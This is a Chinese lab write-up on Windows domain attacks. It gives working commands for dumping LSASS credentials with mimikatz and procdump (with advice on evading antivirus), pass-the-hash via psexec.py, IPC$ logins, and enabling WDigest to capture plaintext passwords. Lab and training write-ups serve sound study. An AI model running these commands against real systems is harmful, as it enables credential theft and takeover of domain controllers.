文中主要讲解内网域环境,通过学习掌握域环境,更快知晓内网工作原理。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
高权限读取本地密码
原理:
当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过mimikatz来读取到本地的明文密码。
建立IPC,获取域控权限:
假设域控已经登陆域成员机器:
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt #使用mimikatz导出密码hash
当我们获取NTLM的hash,可以放到cmd5网站上进行解密:
建立IPC连接:
net use \\10.10.10.142\IPC$ /u:administrator QWEasd123
如果我们hash无法解密,则可以在使用脚本利用hash进行登陆,从而控制域控:
python3 psexec.py -hashes 00000000:42e2656ec24331269f82160ff5962387 ./Administrator@10.10.10.142
这里同样可以使用wimexec脚本:
使用procdump工具配合mimikatz获取明文:
当域管理上面存在杀软,我们上传mimikatz是会被杀掉,所以就可以使用procdump这款工具将lsass.exe里面的信息导出来,然后放到本地去进行分析,最终等到明文密码:
因为这款工具是微软研发的工具,所以一般不会被查杀:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
使用修改注册表方法配合mimikatz,获取明文:
修改注册表:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
修改成功后,利用powershell脚本进行锁屏,当域控再次登陆域成员主机时,就可以使用mimikatz抓取明文密码:
这里大致的效果就和上面一样,所以就不过多操作: